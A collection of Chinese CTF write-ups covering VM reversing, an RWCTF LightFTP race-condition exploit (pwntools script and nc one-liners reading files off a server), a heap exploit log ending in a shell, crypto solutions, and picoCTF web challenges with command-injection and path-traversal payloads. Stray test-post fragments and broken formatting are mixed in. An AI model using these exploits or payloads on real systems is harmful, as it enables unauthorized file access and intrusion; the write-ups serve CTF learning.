S1mpleVM

S1mpleVM

image-20251122093655435

1
2
3
4
5
if ( (unsigned int)sub_140001D30(v30, v8) )
{
sub_1400011B0("Ultimate secret box is not only the name muahahaha");
return 0;
}

可以找到最关键的函数 sub_140001D30 就是 VM 入口

查看这个函数有很明显的 vm_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall vmrun(char *input, char *vmcode)
{
//some defs for local variable
v2 = 0LL;
v3 = *vmcode - 16;
v5 = v48;
v6 = vmcode + 1;
while ( 2 )
{
switch ( v3 )
{
case 0u:
if ( v2 )
{
v9 = v2;
v2 = (signed int *)*((_QWORD *)v2 + 1);
v7 = *v9;
free(v9);
if ( v2 )
{
v10 = v2;
v2 = (signed int *)*((_QWORD *)v2 + 1);
v8 = *v10;
free(v10);
}
else
{
v8 = 0x80000000;
}
}
else
{
v7 = 0x80000000;
v8 = 0x80000000;
}
v11 = (signed int *)j__malloc_base(0x10uLL);
*v11 = v7 % v8;
goto LABEL_53;
case 1u:
//...
LABEL_53:
*((_QWORD *)v11 + 1) = v2;
v2 = v11;
}
}
}

恢复结构体之后这个 vm 还是很一目了然的,下面解释一下各个 opcode 的作用。

  • 0:取模操作(先弹出的值在运算符左侧)
  • 1:push 操作
  • 2:pop 操作
  • 3:乘法操作
  • 4:加法操作
  • 5:输出
  • 6:取输入指针
  • 7:右移位后取最低位(先弹出的值在运算符右侧)
  • 8:异或操作
  • 9:输入指针+1
  • 10:返回
  • 11:减法操作(先弹出的值在运算符左侧)
  • 12:除法操作(先弹出的值在运算符左侧)

运行根据程序写的cpp文件,

1
2
3
g++ test.cpp -o test
./test
./test > output.txt

节选一段log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
get 1 input
push val 102
push val 0
calc (102>>0)&1=0
push val 0
push val 2
calc 2*0=0
push val 0
get 1 input
push val 102
push val 1
calc (102>>1)&1=1
push val 1
push val 3
calc 3*1=3
push val 3
get 1 input
push val 102
push val 2
calc (102>>2)&1=1
push val 1
push val 67
calc 67*1=67
push val 67
get 1 input
push val 102
push val 3
calc (102>>3)&1=0
push val 0
push val 37
calc 37*0=0
push val 0
get 1 input
push val 102
push val 4
calc (102>>4)&1=0
push val 0
push val 41
calc 41*0=0
push val 0
get 1 input
push val 102
push val 5
calc (102>>5)&1=1
push val 1
push val 11
calc 11*1=11
push val 11
get 1 input
push val 102
push val 6
calc (102>>6)&1=1
push val 1
push val 13
calc 13*1=13
push val 13
get 1 input
push val 102
push val 7
calc (102>>7)&1=0
push val 0
push val 89
calc 89*0=0
push val 0
calc 0+13=13
push val 13
calc 13+11=24
push val 24
calc 24+0=24
push val 24
calc 24+0=24
push val 24
calc 24+67=91
push val 91
calc 91+3=94
push val 94
calc 94+0=94
push val 94
push val 70
calc 70^94=24
push val 24
get 2 input
push val 108
push val 0
calc (108>>0)&1=0

最前面输出了一句话:Thank for providing passcode, my ultimate secret box is checking…

跳过之后,发现它在频繁的取输入字符并做 (x>>y)&1 的运算,y 从 0~7。这是在一个一个取出输入字节的每一位,每一位都对应了一个权值。第一个字节可以看出来,从低位到高位权值分别为

1
2 3 67 37 41 11 13 89

得到权值的方法:在 * 运算中加入 fprintf(stderr,"%d,",reg2);

最后,它将所有权值相加,得到的结果和 70 做异或运算得到 24,将该值存入栈底。

得到异或目标值:在异或的 opcode 中加入 fprintf(stderr,"%d,",reg2);

看log的最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
calc 137+71=208
push val 208
calc 208+39=247
push val 247
calc 247+120=367
push val 367
calc 367+22=389
push val 389
calc 389+119=508
push val 508
calc 508+89=597
push val 597
calc 597+22=619
push val 619
calc 619+218=837
push val 837
calc 837+203=1040
push val 1040
calc 1040+125=1165
push val 1165
calc 1165+125=1290
push val 1290
calc 1290+5=1295
push val 1295
calc 1295+118=1413
push val 1413
calc 1413+30=1443
push val 1443
calc 1443+59=1502
push val 1502
calc 1502+89=1591
push val 1591
calc 1591+213=1804
push val 1804
calc 1804+114=1918
push val 1918
calc 1918+35=1953
push val 1953
calc 1953+18=1971
push val 1971
calc 1971+18=1989
push val 1989
calc 1989+121=2110
push val 2110
calc 2110+65=2175
push val 2175
calc 2175+32=2207
push val 2207
calc 2207+221=2428
push val 2428
calc 2428+253=2681
push val 2681
calc 2681+348=3029
push val 3029
calc 3029+130=3159
push val 3159
calc 3159+92=3251
push val 3251
calc 3251+140=3391
push val 3391
calc 3391+24=3415
push val 3415
pop 3415 to reg1
retval=3415

计算的第一个异或值,在最后被加起来返回了。

最终根据逻辑,写出还原 passcode 的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
char v[]={
2,3,67,37,41,11,13,89,2,3,67,5,7,47,61,29,2,67,37,7,43,11,13,31,97,3,41,73,11,13,53,29,97,67,3,11,43,13,47,83,67,5,37,71,7,11,89,29,2,3,5,11,13,83,53,61,2,3,7,71,43,83,29,31,7,73,11,13,53,89,29,31,2,3,5,37,7,43,13,61,2,5,7,43,11,13,53,89,5,7,73,43,11,13,59,31,3,5,73,41,43,13,83,89,2,7,71,11,43,13,29,61,2,5,7,11,13,79,47,83,3,67,37,5,73,11,13,61,2,67,5,7,71,11,13,61,67,3,5,37,43,11,13,61,2,3,37,7,71,41,11,29,3,5,41,11,43,47,53,29,2,3,7,71,43,13,47,79,2,3,5,37,11,43,13,79,97,67,5,37,7,41,11,61,3,71,7,43,11,79,53,61,2,3,71,73,11,13,61,31,97,2,3,67,5,11,13,83,2,3,5,37,7,41,11,53,2,3,73,43,11,13,53,61,2,67,3,37,7,11,47,59,2,37,5,73,13,47,53,59,2,67,71,73,41,11,13,89,2,3,67,37,73,11,43,59,};
char target[]={70,56,70,77,74,90,87,82,60,67,86,95,64,94,85,66,33,69,64,98,67,71,94,93,90,32,65,82,68,65,93,96,};
int checkval(int i,int pos){
int sum=0;
for(int j=0;j<8;j++){
sum+=((i>>j)&1)*v[j+pos*8];
}
return sum;
}
int main(){
for(size_t i=0;i<sizeof(target);i++){
for(int j=0x20;j<127;j++){
if(target[i]==checkval(j,i)){
putchar(j);
break;
}
}
}
}
//s1mpl3_VM_us3s_link3d_l1st_st4ck
image-20251107213047428

输入得到flag

hello

安装git和nodejs

image-20251122090515092

官方下载地址: Git - Downloading Package (git-scm.com)

官方下载地址: Node.js (nodejs.org)

在 cmd 中输入命令 git --version, 查看 Git 版本

在 cmd 中输入命令 node -v, 查看 Node 版本

安装hexo

使用 cnpm 安装 Hexo,先通过 npm install 安装 cnpm。

1
2
3
4
npm install -g cnpm --registry==https://registry.npm.taobao.org
# 在 cmd 中输入命令 cnpm -v, 可查看 cnpm 版本
cnpm install -g hexo-cli
# 在 cmd 中输入命令 hexo -v, 可查看 hexo 版本

test

hjkkgktest

wallhaven-rq75r7

et2wallhaven-2yg1lg

2023 realworld ctf

NonHeavyFTP-pwn

image-20251122093322709

感觉是一个路径穿越,但是不知道怎么弄

好吧,最终并不是一个我认为的路径穿越问题,怪不得我一直再试路径穿越,然并卵,gg

因为Theori 半个小时就把这个题目给秒了,所以我觉得肯定不是内存破坏的漏洞,不然应该不可能这么快,Pls.题目是Ubuntu22.04下面的并且保护全开

这是别人的exp,我直接懵了,好吧 也应该是race condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ (echo -ne 'USER anonymous\r\n'; sleep 0.5; echo -ne 'PASS a\r\n'; sleep 0.5; echo -ne 'PASV\r\n'; sleep 0.5; echo -ne 'MLSD .\r\n'; sleep 0.5; echo -ne 'USER /\r\n'; cat) | nc 47.
89.253.219 2121
220 LightFTP server ready
331 User anonymous OK. Password required
230 User logged in, proceed.
227 Entering Passive Mode (0,0,0,0,195,7).
150 File status okay; about to open data connection.
331 User / OK. Password required
226 Transfer complete. Closing data connection.

$ (echo -ne 'USER anonymous\r\n'; sleep 0.5; echo -ne 'PASS a\r\n'; sleep 0.5; echo -ne 'PASV\r\n'; sleep 0.5; echo -ne 'RETR hello.txt\r\n'; sleep 0.5; echo -ne 'USER /flag.deb10154-8cb2-11ed-be49-0242ac110002\r\n'; cat) | nc 47.89.253.219 2121
220 LightFTP server ready
331 User anonymous OK. Password required
230 User logged in, proceed.
227 Entering Passive Mode (0,0,0,0,204,175).
150 File status okay; about to open data connection.
331 User /flag.deb10154-8cb2-11ed-be49-0242ac110002 OK. Password required
226 Transfer complete. Closing data connection.1

这个应该算是个逻辑漏洞吧,逻辑十分的诡异

1
2
3
4
5
6
gef> info threads
Id Target Id Frame
* 1 Thread 0x7ffff774f940 (LWP 37747) "fftp" __GI___libc_read (nbytes=0x400, buf=0x555555596770, fd=0x0) at ../sysdeps/unix/sysv/linux/read.c:26
2 Thread 0x7ffff774e640 (LWP 37760) "fftp" 0x00007ffff7cb860f in __libc_accept (fd=0x3, addr=<optimized out>, len=0x7ffff774dbf4) at ../sysdeps/unix/sysv/linux/accept.c:26
3 Thread 0x7ffff4927640 (LWP 37764) "fftp" __libc_recv (flags=<optimized out>, len=0xfff, buf=0x7ffff4925c10, fd=0x4) at ../sysdeps/unix/sysv/linux/recv.c:28
4 Thread 0x7fffeffff640 (LWP 37768) "fftp" 0x000055555555eac1 in mlsd_thread ()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from ftplib import FTP
from IPython import embed
context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

HOST,PORT = "47.89.253.219",2121

def begin_dataport():
s('\r\n','PASV\r\n')
r(' Entering Passive Mode (')
_ = r(')').split(b',')
return (int(_[-2],10)<<8)+int(_[-1],10)

def phase1():
global p
p = remote(HOST, PORT)
# p = remote("127.0.0.1", 2121)

s('\r\n','USER anonymous\r\n')
s('\r\n','PASS *********************\r\n')
s('\r\n','OPTS UTF8 ON\r\n')
dataport = begin_dataport()
s('\r\n','MLSD\r\n')
s('\r\n','USER /\r\n')
print(remote(HOST,dataport).recv())
p.close()

def phase2():
global p
p = remote(HOST, PORT)
s('\r\n','USER anonymous\r\n')
s('\r\n','PASS *********************\r\n')
s('\r\n','OPTS UTF8 ON\r\n')
dataport = begin_dataport()
s('\r\n','RETR hello.txt\r\n')
s('\r\n','USER /flag.deb10154-8cb2-11ed-be49-0242ac110002\r\n')
print(remote(HOST,dataport).recv())

p.close()
if __name__ == '__main__':
# phase1()
phase2()

# rwctf{race-c0nd1tion-1s-real1y_ha4d_pr0blem!!!}

tinyvm

这个我竟然也没有做出来,唉…,我找洞的水平是真的不行

Hardened Redis-pwn

1
2
❯ redis-server --version
Redis server v=6.0.16 sha=00000000:0 malloc=jemalloc-5.2.1 bits=64 build=a3fdef44459b3ad6

按照Dockerfile的说明安装redis-server之后,查看版本可以看到2021 October 4之后还有好几个security

首先要了解一些redis

redis是一个关系型数据库,主要使用C语言写的

2023 XCTF-final

.rodata:00000000004EBFD4 aEditchunk db ‘editChunk’,0 .rodata:00000000004EBFDE aShowchunk db ‘showChunk’,0 .rodata:00000000004EBFE8 aFree_0 db ‘free’,0 .rodata:00000000004EBFED aAlloc db ‘alloc’,0

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.rodata:00000000004EBFC7 aAnyunpacker    db 27h,'AnyUnpacker',0
.rodata:00000000004EBFD4 aEditchunk db 'editChunk',0
.rodata:00000000004EBFDE aShowchunk db 'showChunk',0
.rodata:00000000004EBFE8 aFree_0 db 'free',0
.rodata:00000000004EBFED aAlloc db 'alloc',0
.rodata:00000000004EBFF3 aApply db 'apply',0
.rodata:00000000004EBFF9 aUnreachable db 'Unreachable',0
.rodata:00000000004EC005 aMyProject0100D db 'my-project-0.1.0.0-DwBwI0ttuEjBxu8NjgEOfI',0
.rodata:00000000004EC02F aInterpreter db 'Interpreter',0
.rodata:00000000004EC03B aSrcInterpreter_2 db 'src/Interpreter.hs',0
.rodata:00000000004EC04E aError db 'error',0
.rodata:00000000004EC054 aEqual db 'equal?',0
.rodata:00000000004EC05B aEqv db 'eqv?',0
.rodata:00000000004EC060 aEq db 'eq?',0
.rodata:00000000004EC064 aCons db 'cons',0
.rodata:00000000004EC069 aCdr db 'cdr',0
.rodata:00000000004EC06D aCar db 'car',0
.rodata:00000000004EC071 aString db 'string>=?',0
.rodata:00000000004EC07B aString_0 db 'string<=?',0
.rodata:00000000004EC085 aString_1 db 'string>?',0
.rodata:00000000004EC08E aString_2 db 'string<?',0
.rodata:00000000004EC097 aString_3 db 'string=?',0
.rodata:00000000004EC0A0 db '||',0
.rodata:00000000004EC0A3 db '&&',0
.rodata:00000000004EC0A6 db '<=',0
.rodata:00000000004EC0A9 db '>=',0
.rodata:00000000004EC0AC db '/=',0
.rodata:00000000004EC0AF db '>',0
.rodata:00000000004EC0B1 db '<',0
.rodata:00000000004EC0B3 db '=',0
.rodata:00000000004EC0B5 aRemainder db 'remainder',0
.rodata:00000000004EC0BF aQuotient db 'quotient',0
.rodata:00000000004EC0C8 aMod db 'mod',0
.rodata:00000000004EC0CC text "UTF-16LE", '/*-+'
.rodata:00000000004EC0D4 aPair db 'pair',0
.rodata:00000000004EC0D9 aBoolean db 'boolean',0
.rodata:00000000004EC0E1 aString_4 db 'string',0
.rodata:00000000004EC0E8 aNumber db 'number',0

获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
  '15\n'
[DEBUG] Received 0x6 bytes:
'size> '
[DEBUG] Sent 0x4 bytes:
'256\n'
[DEBUG] Received 0x8 bytes:
'Choice> '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0x7 bytes:
'index> '
[DEBUG] Sent 0x3 bytes:
'12\n'
[DEBUG] Received 0x6 bytes:
'size> '
[DEBUG] Sent 0x4 bytes:
'256\n'
[DEBUG] Received 0x8 bytes:
'Choice> '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x7 bytes:
'index> '
[DEBUG] Sent 0x3 bytes:
'12\n'
[DEBUG] Received 0x9 bytes:
'content> '
[DEBUG] Sent 0x48 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 e6 13 35 b2 bf 7f 00 00 │····│····│··5·│····│
00000020 e5 13 35 b2 bf 7f 00 00 98 f6 4f b2 bf 7f 00 00 │··5·│····│··O·│····│
00000030 51 2e 35 b2 bf 7f 00 00 00 00 00 00 00 00 00 00 │Q.5·│····│····│····│
00000040 60 7d 37 b2 bf 7f 00 00 │`}7·│····│
00000048
[DEBUG] Received 0x8 bytes:
'Choice> '
[DEBUG] Sent 0x2 bytes:
'4\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x27 bytes:
'flag{0j8aSdlayutn8HwCNbwLdk1ZYCxgcLsk}\n'
flag{0j8aSdlayutn8HwCNbwLdk1ZYCxgcLsk}
$
[*] Interrupted
[*] Closed connection to 172.35.4.111 port 8888

2022 Cakectf

frozencake-crypto

image-20251122000840306

$$
\begin{align*}
& m^p \equiv a \mod{n} \
& m^q \equiv b \mod{n} \
& m^n \equiv c \mod{n} \
& n = pq \
& \varphi(n)=(p-1)
(q-1)\
\
& m^{(p-1)(q-1)} \equiv 1 \mod{n}\
& m^{pq-p-q+1} \equiv 1 \mod{n} \
& \Longrightarrow \frac{mc}{ab} \equiv1 \mod{n} \
& \Longrightarrow m = \frac{ab}{c} \mod{n} \
& \Longrightarrow m = abc^{\varphi{(n)}-1} % n \
\end{align
}
$$

其中$c^{-1} %n$可以通过pow(c,-1,n)直接进行计算,python3.9支持

1
2
3
4
5
6
7
from Crypto.Util.number import *
n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
print(long_to_bytes(a*b*pow(c,-1,n)%n))
# CakeCTF{oh_you_got_a_tepid_cake_sorry}

2022 WMCTF

babaydriver-rev

image-20251122094459303

64bit的一个Windows Driver逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char __fastcall sub_1400062A0(__int64 a1, __int64 a2, __int64 a3)
{
char v4[16]; // [rsp+38h] [rbp-110h] BYREF
__int64 v5[28]; // [rsp+50h] [rbp-F8h] BYREF

memset(v5, 0, sizeof(v5));
v5[0] = 0x123456111i64;
v5[1] = a1;
v5[2] = a2;
v5[3] = a3;
memset(v4, 0, sizeof(v4));
NtQueryInformationFile(qword_140090048, v4, v5, 0xE0i64, 0x34);
return 0;
}

最终

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad

a= [0xef,0x76,0xd5,0x41,0x86,0x57,0x5a,0x8e,0xc2,0xb8,0xb6,0xee,0x8,0x56,0xb9,0xb8,0xe,0x40,0x75,0x21,0x41,0x4b,0x15,0x71,0x2c,0x9b,0x5e,0x64,0x35,0x5b,0x4a,0x58]
a = bytearray(a)

b=[0]*0x20
for i in range(0x20):
b[i]=ord('0')^i
# for j in range(0x20,0x80):
# if j^i==a[i]:
# print(i,hex(ord('0')^i))
b = bytearray(b)

key = b'Welcome_To_WMCTF'

aes = AES.new(key,AES.MODE_ECB)
# d = aes.encrypt(b)
d = aes.decrypt(a)

print(d)

f=''
for i in range(0x20):
for j in range(0x20,0x80):
if j^i==d[i]:
f+=chr(j)

print(f)

2022 vsCTF

  • rev-binaryflood

    • __int64 __fastcall sub_40147F(char *a1, char *a2)
      {
      char v3; // [rsp+1Fh] [rbp-51h] BYREF
      char a1a[32]; // [rsp+20h] [rbp-50h] BYREF
      char v5[40]; // [rsp+40h] [rbp-30h] BYREF
      
      std::allocator<char>::allocator(&v3);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(a1, &unk_40400A, &v3);
      std::allocator<char>::~allocator(&v3);
      if ( a2 )
      {
        sub_40147F(a1a, *((char **)a2 + 1));
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(a1, a1a);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(a1a);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(a1, (unsigned int)*a2);
        sub_40147F(v5, *((char **)a2 + 2));
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(a1, v5);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5);
      }
      return (__int64)a1;
      }
      
      1
      2
      3
      4
      5
      6
      7

      ![image-20251122094255796](image-20251122094255796.png)

      * ### web-babyeval

      * ```bash
      https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag`
      得到flag
      1
      vsctf{regExAin’tGoodEnufForWAF}
  • web-babywasm

    • 这段是rust写的webassembly的编译

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      (func $memcmp (;244;) (param $var0 i32) (param $var1 i32) (param $var2 i32) (result i32)
      (local $var3 i32) (local $var4 i32) (local $var5 i32)
      i32.const 0
      local.set $var3
      block $label0
      local.get $var2
      i32.eqz
      br_if $label0
      block $label1
      loop $label2
      local.get $var0
      i32.load8_u
      local.tee $var4
      local.get $var1
      i32.load8_u
      local.tee $var5
      i32.ne
      br_if $label1
      local.get $var0
      i32.const 1
      i32.add
      local.set $var0
      local.get $var1
      i32.const 1
      i32.add
      local.set $var1
      local.get $var2
      i32.const -1
      i32.add
      local.tee $var2
      i32.eqz
      br_if $label0
      br $label2
      end $label2
      end $label1
      local.get $var4
      local.get $var5
      i32.sub
      local.set $var3
      end $label0
      local.get $var3
      )

      (func $func373 (param $var0 i32) (param $var1 i32) (param $var2 i32) (param $var3 i32) (result i32)
      (local $var4 i32)
      i32.const 0
      local.set $var4
      block $label0
      local.get $var1
      local.get $var3
      i32.ne
      br_if $label0
      local.get $var0
      local.get $var2
      local.get $var1
      call $memcmp
      i32.eqz
      local.set $var4
      end $label0
      local.get $var4
      )
  • pwn-ezorange

    • /* Safe-Linking:
         Use randomness from ASLR (mmap_base) to protect single-linked lists
         of Fast-Bins and TCache.  That is, mask the "next" pointers of the
         lists' chunks, and also perform allocation alignment checks on them.
         This mechanism reduces the risk of pointer hijacking, as was done with
         Safe-Unlinking in the double-linked lists of Small-Bins.
         It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
         larger pages provide less entropy, although the pointer mangling
         still works.  */
      #define PROTECT_PTR(pos, ptr) \
        ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
      #define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
      
    • 并且sysmalloc直接通过_int_free释放掉了,所以__free_hook没用
  • pwn

picoctf2022

image-20251122120914524

include-web

在script.js和style.css中藏了两部分的flag

1
2
3
4
5
6
7
/* style.css */
body {
background-color: lightblue;
}

/* picoCTF{1nclu51v17y_1of2_ */

script.js

1
2
3
4
5
6
7
function greetings()
{
alert("This code is in a separate file!");
}

// f7w_2of2_f4593d9d}

拼起来:picoCTF{1nclu51v17y_1of2_f7w_2of2_f4593d9d}

inspect HTML-web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Thu, 07 Apr 2022 12:42:58 GMT
Content-Type: text/html
Content-Length: 916
Last-Modified: Tue, 15 Mar 2022 07:17:06 GMT
Connection: close
ETag: "62303d72-394"
Accept-Ranges: bytes

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>On Histiaeus</title>
</head>
<body>
<h1>On Histiaeus</h1>
<p>However, according to Herodotus, Histiaeus was unhappy having to stay in
Susa, and made plans to return to his position as King of Miletus by
instigating a revolt in Ionia. In 499 BC, he shaved the head of his
most trusted slave, tattooed a message on his head, and then waited for
his hair to grow back. The slave was then sent to Aristagoras, who was
instructed to shave the slave's head again and read the message, which
told him to revolt against the Persians.</p>
<br>
<p> Source: Wikipedia on Histiaeus </p>
<!--picoCTF{1n5p3t0r_0f_h7ml_dd513514}-->
</body>
</html>

直接藏在http的返回respone里面

picoCTF{1n5p3t0r_0f_h7ml_dd513514}

Local Authority-web

输入usernamepassword

输入错误的请求在respone中有secure.js内容如下:

1
2
3
4
5
6
7
8
9
10
11
function checkPassword(username, password)
{
if( username === 'admin' && password === 'strongPassword098765' )
{
return true;
}
else
{
return false;
}
}

所以输入admin 和 strongPassword098765

得到flag picoCTF{j5_15_7r4n5p4r3n7_6309e949}

Search source-web

藏在style.css中

picoCTF{1nsp3ti0n_0f_w3bpag3s_227d64bd}

Forbidden Paths-web

相对路径读 ../../../../flag.txt

直接读到flag picoCTF{7h3_p47h_70_5ucc355_26b22ab3}

Powercookie-web

在cookie中有这样一条

Name Value Domain Path Expires/Max Age Size HttpOnly Secure SameSite Priority
isAdmin 0 saturn.picoctf.net 1 Session 8 Medium

把isAdmin修改为1即可顺利登陆得到flag

picoCTF{gr4d3_A_c00k13_dcb9f091}

Roboto Sans-web

robots.txt

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。

robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

访问robots.txt

1
2
3
4
5
6
7
8
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

anMvbXlmaWxlLnR4dA==

js/myfile.txt

1
picoCTF{Who_D03sN7_L1k5_90B0T5_a4f5cc70}

secrets-web

访问

``

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<!DOCTYPE html>
<html>
<head>
<title></title>
<link rel="stylesheet" href="hidden/file.css" />
</head>

<body>
<h1>Finally. You almost found me. you are doing well</h1>
<img src="https://media1.tenor.com/images/0a6aff9f825af62c05adfbd75039cc7b/tenor.gif?itemid=4648337" alt="Something Like That GIF - Andy Parksandrecreation Wtf GIFs" style="max-width: 833px; background-color: rgb(151, 121, 85);" width="833" height="937.125">
</body>
</html>

里面有一个hiddlen/file.css,访问一下得到css里面还有一个套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

<!DOCTYPE html>
<html>
<head>
<title>LOGIN</title>
<!-- css -->
<link href="superhidden/login.css" rel="stylesheet" />
</head>
<body>
<form>
<div class="container">
<form method="" action="/secret/assets/popup.js">
<div class="row">
<h2 style="text-align: center">
Login with Social Media or Manually
</h2>
<div class="vl">
<span class="vl-innertext">or</span>
</div>

<div class="col">
<a href="#" class="fb btn">
<i class="fa fa-facebook fa-fw"></i> Login with Facebook
</a>
<a href="#" class="twitter btn">
<i class="fa fa-twitter fa-fw"></i> Login with Twitter
</a>
<a href="#" class="google btn">
<i class="fa fa-google fa-fw"></i> Login with Google+
</a>
</div>

<div class="col">
<div class="hide-md-lg">
<p>Or sign in manually:</p>
</div>

<input
type="text"
name="username"
placeholder="Username"
required
/>
<input
type="password"
name="password"
placeholder="Password"
required
/>
<input type="hidden" name="db" value="superhidden/xdfgwd.html" />

<input
type="submit"
value="Login"
onclick="alert('Thank you for the attempt but oops! try harder. better luck next time')"
/>
</div>
</div>
</form>
</div>

<div class="bottom-container">
<div class="row">
<div class="col">
<a href="#" style="color: white" class="btn">Sign up</a>
</div>
<div class="col">
<a href="#" style="color: white" class="btn">Forgot password?</a>
</div>
</div>
</div>
</form>
</body>
</html>

最后访问一下http://saturn.picoctf.net:50167/secret/hidden/superhidden/

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<!DOCTYPE html>
<html>
<head>
<title></title>
<link rel="stylesheet" href="mycss.css" />
</head>

<body>
<h1>Finally. You found me. But can you see me</h1>
<h3 class="flag">picoCTF{succ3ss_@h3n1c@10n_51b260fe}</h3>
</body>
</html>

SQL Direct-web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
~ wsl@Conjuring
<2>>> proxychains psql -h saturn.picoctf.net -p 53019 -U postgres pico
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 192.168.10.3:49010 ... saturn.picoctf.net:53019 ... OK
Password for user postgres:
[proxychains] Strict chain ... 192.168.10.3:49010 ... saturn.picoctf.net:53019 ... OK
psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1), server 14.2 (Debian 14.2-1.pgdg110+1))
WARNING: psql major version 12, server major version 14.
Some psql features might not work.
Type "help" for help.

